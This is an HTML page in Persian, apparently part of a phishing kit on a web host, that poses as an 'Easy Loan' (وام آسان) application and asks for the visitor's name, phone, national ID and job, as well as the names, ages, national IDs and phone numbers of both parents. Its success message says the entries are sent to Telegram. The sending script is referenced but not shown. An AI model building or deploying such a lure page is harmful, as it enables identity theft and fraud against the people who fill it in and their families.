/home2/mshostin/public_html/vam/index5.html
<!DOCTYPE html><html lang="fa" dir="rtl"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>اطلاعات کاربری | وام آسان</title>
    <link rel="stylesheet" href="css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="css/style.css">
</head>
<body>
    <div class="container">
        <!-- Header -->
        <header>
            <div class="header-content">
                <a href="javascript:history.back()" class="back-button">
                    <i class="fas fa-arrow-right"></i>
                </a>
                <div class="logo-container">
                    <div class="logo-img">
                        <i class="fas fa-crown"></i>
                    </div>
                    <a href="/dashboard" class="logo-text">وام آسان</a>
                </div>
                <div style="width: 45px;"></div> <!-- Spacer for balance -->
            </div>
        </header>
        
        <!-- Main Content -->
        <div class="main-content">
            <!-- Progress Bar -->
            <div class="progress-container">
                <div class="progress-bar">
                    <div class="progress-fill" id="progressFill"></div>
                </div>
                <div class="progress-text">مرحله ۱ از ۲ - تکمیل اطلاعات کاربری</div>
            </div>
            
            <!-- Page Title -->
            <h1 class="page-title">اطلاعات کاربری</h1>
            <p class="page-subtitle">لطفاً اطلاعات خود و والدین را با دقت وارد کنید</p>
            
            <!-- Success Message -->
            <div class="success-message" id="successMessage">
                <i class="fas fa-check-circle"></i>
                <span id="successText">اطلاعات با موفقیت ثبت شد و به تلگرام ارسال گردید</span>
            </div>

            <!-- Redirect Message -->
            <div class="redirect-message" id="redirectMessage">
                <i class="fas fa-paper-plane"></i>
                در حال انتقال به مرحله بعد...
            </div>
            
            <!-- Form Container -->
            <form id="userForm" class="form-container">
                <!-- Personal Information -->
                <div class="form-section">
                    <div class="form-section-title">
                        <i class="fas fa-user"></i>
                        اطلاعات شخصی
                    </div>
                    <div class="form-grid">
                        <div class="form-group">
                            <label class="form-label">نام و نام خانوادگی</label>
                            <input type="text" class="form-input" id="fullName" name="fullName" required="">
                            <i class="fas fa-user input-icon"></i>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">شماره تلفن</label>
                            <input type="tel" class="form-input" id="phone" name="phone" required="" pattern="09[0-9]{9}">
                            <i class="fas fa-phone input-icon"></i>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">کد ملی</label>
                            <input type="text" class="form-input" id="nationalCode" name="nationalCode" required="" pattern="[0-9]{10}">
                            <i class="fas fa-id-card input-icon"></i>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">شغل شما چیست؟</label>
                            <input type="text" class="form-input" id="job" name="job" required="">
                            <i class="fas fa-briefcase input-icon"></i>
                        </div>
                    </div>
                </div>
                
                <!-- Father Information -->
                <div class="form-section">
                    <div class="form-section-title">
                        <i class="fas fa-male"></i>
                        اطلاعات پدر
                    </div>
                    <div class="form-grid">
                        <div class="form-group">
                            <label class="form-label">نام و نام خانوادگی پدر</label>
                            <input type="text" class="form-input" id="fatherName" name="fatherName" required="">
                            <i class="fas fa-user input-icon"></i>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">سن پدر</label>
                            <input type="number" class="form-input" id="fatherAge" name="fatherAge" required="" min="40" max="100">
                            <i class="fas fa-calendar input-icon"></i>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">کد ملی پدر</label>
                            <input type="text" class="form-input" id="fatherNationalCode" name="fatherNationalCode" required="" pattern="[0-9]{10}">
                            <i class="fas fa-id-card input-icon"></i>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">شماره تلفن پدر</label>
                            <input type="tel" class="form-input" id="fatherPhone" name="fatherPhone" required="" pattern="09[0-9]{9}">
                            <i class="fas fa-phone input-icon"></i>
                        </div>
                    </div>
                </div>
                
                <!-- Mother Information -->
                <div class="form-section">
                    <div class="form-section-title">
                        <i class="fas fa-female"></i>
                        اطلاعات مادر
                    </div>
                    <div class="form-grid">
                        <div class="form-group">
                            <label class="form-label">نام و نام خانوادگی مادر</label>
                            <input type="text" class="form-input" id="motherName" name="motherName" required="">
                            <i class="fas fa-user input-icon"></i>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">سن مادر</label>
                            <input type="number" class="form-input" id="motherAge" name="motherAge" required="" min="35" max="100">
                            <i class="fas fa-calendar input-icon"></i>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">کد ملی مادر</label>
                            <input type="text" class="form-input" id="motherNationalCode" name="motherNationalCode" required="" pattern="[0-9]{10}">
                            <i class="fas fa-id-card input-icon"></i>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">شماره تلفن مادر</label>
                            <input type="tel" class="form-input" id="motherPhone" name="motherPhone" required="" pattern="09[0-9]{9}">
                            <i class="fas fa-phone input-icon"></i>
                        </div>
                    </div>
                </div>
            </form>
            
            <!-- Action Button -->
            <button class="action-button" id="submitButton" type="button">
                ارسال اطلاعات و دریافت تسهیلات
            </button>
        </div>
    </div>

    <script src="js/scriptt.js"></script>

</body></html>
Path: home2/mshostin/public_html/vam